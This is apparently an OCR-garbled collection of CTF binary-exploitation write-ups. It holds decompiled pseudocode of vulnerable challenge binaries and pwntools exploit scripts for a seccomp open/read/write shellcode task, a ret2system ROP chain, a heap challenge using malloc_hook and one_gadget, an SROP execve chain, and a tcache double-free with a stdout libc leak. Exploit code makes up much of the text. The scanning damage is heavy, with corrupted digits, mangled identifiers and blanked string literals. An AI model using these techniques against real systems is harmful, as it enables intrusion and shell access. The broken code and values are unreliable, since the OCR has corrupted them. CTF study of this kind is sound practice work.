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w2647 orwf]shellcode

setvbuf(stdout, @LL, 2, eLL);

setvbuf(stdin, eLL, 1, @LL);

puts(“Welcome to shellcoding practice challenge.");

puts("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.");

puts("Try to make shellcode that spits flag using open()/read()/write() Eystemcalls only.");
puté%ﬂlf this does not challenge you. you should play 'asg' challenge :)"):

s = (char *)mma void *)0x41414000, ex1eeeull, 7, 5, 8, OLL);
memset(s, 144, ©x1866ulLL);

v3 = strlen(stub);

memcpy (s, stub, v3);

printf("give me your x64 shellcode: ");

read(@, s + 46, Ox3E8ulLL);

alarm(@xAu);

chroot("/home/asm_pwn");

sandbox (" /home/asm_pwn");

((void (__fastcall *)(const char *))s)("/home/asm_pwn");

FETurn o,
1
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from pwn import

context.log level

context.arch

r remote ( ,29063)

shellcraft. ( )
shellcraft.read(3,0x41414000,100)
shellcraft.write(1,0x41414000,100)

asm(shellcode)

r.recvline()

r.sendline(shellcode)

r.interactive()
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4D C You typed %d word(s) in sum,%d of them was typed correctly.Accuracy:%.2f %%\n
327 C The rate of this work: %.1f words/min\n

)56 C Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to qui...
12 c Begin----—--

JOB C Error.

110 O END------

22D C __ehdr start.e phentsize == sizeof * dl phdr

J0D C libc-start.c

17 C FATAL: kernel too old\n

)28 C FATAL: cannot determine kernel version\n

27 C unexpected reloc type in static binary

2 C __libc_start_main

J0A C /dev/full

JOA C J/dev/null

JOE C unknown error

129 C %5%5%s:%U: %s%sAssertion "%s' failed.\n%n

13 C Unexpected error\n

JOF C OUTPUT CHARSET

J09 C charset=

fint _ fastcall sub_8D24(int al)
{

int v1; // re
int v2; // ra
char v6[112]; // [sp+Ch] [bp-76h] BYREF
sub_2@AFe(ve6, ©, 100);
sub 221Bé(®, ve, 512);
vl = sub_1F8@8(al),;
if ( !sub_1F86@(al, v6, v1) )
{
v2 = sub_1F8ee(al);
if ( v2 == sub_1F8e@(ve) - 1)
return 1;
¥
if ( ve[e] == 126 )
return 2;
return @;
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.rodata:0006C383 DCB e

.rodata:0006C384 aBinSh DCB "/bin/sh",@
.rodata:0006C384

.rodata:0006C38C aExit® DCB "exit e",®
.rodata:0006C38C

.rodata:0086C393 ALIGN 4
.rodata:0006C394 aFmtIex7fo DCB "(((fmt[i])

.rodata:eeee6C394
.rodata:eeee6C394

system by s X LR RIS — TR R

from pwn import

context.log_level

remote ( , 27409)
0x6c384
0x20904
0x110B4

3 )
112 + p32(pop_addr) p32(bin_sh) p32(system_addr)

r.sendlineafter( , payload)

r.interactive()
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sub_C1A();

s = malloc(@x88uLL);
memset(s, @, Ox80uLL);
sub_D97();

sub_DAF (s, 3ej);

v3 = "book name: %s\n";
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add chapter

lint _ fastcall add(__int64 al)
{

int v2; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]

vz = -1;
for (1 =0; 1 <= 11; ++1 )
{
if ( !'*(_QWORD *)(al + 8 * (i + 4LL)) )
{ ¥
vZ = 1;
break;
}
}
if ((v2 == -1)

return puts("\nNot enough space");

*(_ QWORD *)(al + 8 * (v2 + 4LL = malloc(@x8eulLl);
printf("\nChapter name:");

return sub_DAF(*(void **)(al + 8 * (v2 + 4LL)), ex2eu);
}
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add section

L'For*(j=»8;j<=9; ++7 )
{
if ( !*(_QWORD *)(*(_QWORD *)(al + 8 * (1 + 4LL)) + 8 * (7 + 4LL)) )
{_ __

vl = *(_QWORD *)(al + 8 * (i + 4LL));
*(_QWORD *)(vl + 8 * (J + 4LL)) = malloc(ex3euLL);

PrAINTT(OXEP > T(CONSt Void T (L NoMD (el T8 (1 +4LL)) + 8 * (7 + 4LL)));
printf("\nSection name:");
sub_DAF(*(void **)(*(_QWORD *)(al + 8 * (i + 4LL)) + 8 * (J + 4LL)), ex2eu);
#(_DWORD *)(*(_QWORD *)(*(_QWORD *)(al + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 46LL) = 32;
return __readfsqword(ex28u) ~ v6;
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add text

R T ]

{
if (1>9)
{
++vd;
goto LABEL_12;

}
if ( *(_QWORD *)(al + 8 * (v4 + 4LL))

8& *(_QWORD *)(*( QWORD *)(al + 8 * (v4 + 4LL)) + 8 * (i + 4LL))

&% !stremp(*(const char **)(*(_QWORD *)(z1 + 8 * (v4 + 4LL)) + 8 * (1 + 4LL)), s2) )
{

}
¥

printf("\nHow many chapters you want to write:");
v6 = sub_EB7();
f ( V6 <= 256 )

break;

i
{

vl = *(_QWORD *)(*(_QWORD *)(al + 8 * (v4 + 4LL)) + 8 * (i + 4LL));

*(_QWORD *)(vl + 32) = malloc(ve);

printf("\nText:");

sub_DAF(s, @xleeu);

v2 = strlen(s);

memcpy (* (void **)(*(_QWORD *)(*(_QWORD *)(al + F ¥ (v4 + 4LL)) + 8 * (1 + 4LL)) + 32LL), s, v2);
b

else

printf("\nToo many");

printf("\nHow many chapters you want to write:");
v6 = sub_EB7();
if ( v6 <= 256 )
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from pwn import

r remote ( , 28561)
context.log level

elf = ELF(
libc = ELF( )
one_gadget_16 = [@x45216,0x4526a,0xf02a4,0xf1147]

menu

def add_chapter(content):
.recvuntil(menu)
.sendline( )
.recvuntil(
.send(content)

def add_section(chapter, content):




.recvuntil(menu)

.sendline( )

.recvuntil(

.send(chapter)

.recvuntil( )
addr (r.recvuntil( ).strip(), 16)
r.recvuntil( )
r.send(content)

return addr

def add_text(section, size, content):
r.recvuntil(menu)
r.sendline( )
.recvuntil(
.send(section)
.recvuntil(
.sendline( (size))
.recvuntil( )
.send(content)

def delete_chapter(name):
.recvuntil(menu)
.sendline( )
.recvuntil(

.send(name)

def delete_section(name):
.recvuntil(menu)
.sendline( )
.recvuntil(

.send(name)

def delete_text(name):
.recvuntil(menu)
.sendline( )
.recvuntil(

.send(name)

def show():
r.recvuntil(menu)
r.sendline( )

def edit( , hame, content):
.recvuntil(menu)
.sendline( )
.recvuntil(
.sendline(

if

.recvuntil(

.send(name)

.recvuntil(

-
-
-
-

.send(content)

elif
.recvuntil(
.send(name)
.recvuntil(
.send(content)
else:




r.send(name)
r.recvuntil(
r.send(content)

ub4(r.recvuntil( ). 1just(8, )) ox58 - 0x10

malloc_hook - libc.sym[ ]
(malloc_hook))

libc.sym[ ]
libc.sym[

p64(0x41) .1just(ex20,

.1just(ex8e, p64(0)

, p64(system))

r.interactive()
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bop rax
syscall ; LINUX - sys_read
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PIRSROP, 2 — IR N B —BRBE CRMLIE b, /2 AR

] &R FSENS i ESicl ES3 es ss fs
j LOAD 0000000000400000 0000000000400120 . . . mempage 0001 public O 0000 0000 0000
| 0000000000401000 0000000000401048 . . para 0004 public FFFFFF... FFFFFF... FFFFFF...
j .data 0000000000402000 000000000040202A . . dword 0005 public b FFFFFF... FFFFFF... FFFFFF...

BATbss BUT AT, AEREBATTKIR AT AL — 223545 72 UL B 5 2R P8 .
FA113x B AT /2 0x401000.

F pwntools AR 28 JF SROPHERT LA T, Wik, S — kil B3, JF HAiGdirbp, rsp.
BRI T I —FE, i Hexecve.

from pwn import
context.log level
context.arch

remote(

pop_rax_syscall leave ret 0x401032
syscall leave_ret 0x401033
addr 0x402100

SigreturnFrame()
.rax constants.SYS_read
.rdi 0
>PS addr
. rdx 300
.rsp addr
Elofe]
syscall leave_ret

p64(pop_rax_syscall leave ret)
p64(15) (frame)

r.send(payload)

SigreturnFrame()
.rax constants.SYS_execve
.rdi Elofe]
.rsi 0
. rdx (%]

syscall leave_ret

p64(pop_rax_syscall leave_ret)
p64(15) (frame)

r.interactive()
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v3 = _ readfsgqword(@x28u);
if ( !dword_202010 )
LABEL_5:
exit(0);
_printf_chk(1LL, "Input the size:");
ve = sub_Cl1e();

vl = (int)ve;
if ! Ve > BX7F ::

{

puts("Invalid size!");
goto LABEL_5;
}
_printf_chk(1LL, "Input the content:");
ptr = malloc(vl);
sub_B7@(ptr, v1);
puts("Done!");
--dword_ 2062016,
return __readfsgword(&x28u) ~ v3;
1
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1t ( a2 )
{
v2 = al;
do
{
buf =
if ( read(®@, &buf, 1ulLl) < © )
{
puts(“Read error!!\n");
exit(1);
¥
if ( buf == 10 )
break;
*v2++ = buf;
¥
while ( v2 l= &al[a2] );
¥
return __readfsqword(®x28u) ~ v5;
¥
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vl = _ readfsqword(©x28u);

if ( !dword_202014 )
exit(e);

free(ptr);

puts("Done!");
--dword_262014;

FETUPR——TEZOTEOEraTON28u) A vl

uaf double free.
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from pwn import

I0 2 1 stdout_s libc.symbols|
malloc_hook_s libc.symbols|
realloc_s libc.sym[
one_gadget_s 0x10a38c

def add(size,content):
r.sendlineafter( 5 )

r.sendlineafter( ,str(size))

r.sendafter( ,content)

def delete():
r.sendlineafter(




def exploit():
add (Ox7F,
delete()
delete()

add(ox19,
delete()

add(0x20,

add (Ox7F,
add (Ox7F,
add (Ox7F,

delete()

add(0x20,p16( (0x5 oxC) (_I0_2 1 stdout_s OxFFF))

add(ex7F, 0x20 + p64(0) p64(0x81)

add(Ox7F, p64 (@xOFBAD1887) +p64(0)*3 + p8(0x58)

libc_base ub4(r.recv(6).ljust(8, )) Ox3E82A0
if libc_base 40 OX7F:

raise Exception( )
malloc_hook_addr libc_base + malloc_hook_s
one_gadget_addr libc_base + one_gadget_s
realloc_addr libc_base realloc_s
print 5 (libc_base)
print 5 (malloc_hook_addr)
print (one_gadget_addr)

add(ex79, 0x60 + p64(malloc_hook addr - ©x8)
add(ox19, 0x10)

gdb.attach(r)

add(0x10,p64(one_gadget_addr) p64(realloc_addr+4))

add(e, " ")
while True:

try:
global r
r = process(
exploit()
r.interactive()

except:

r.close()
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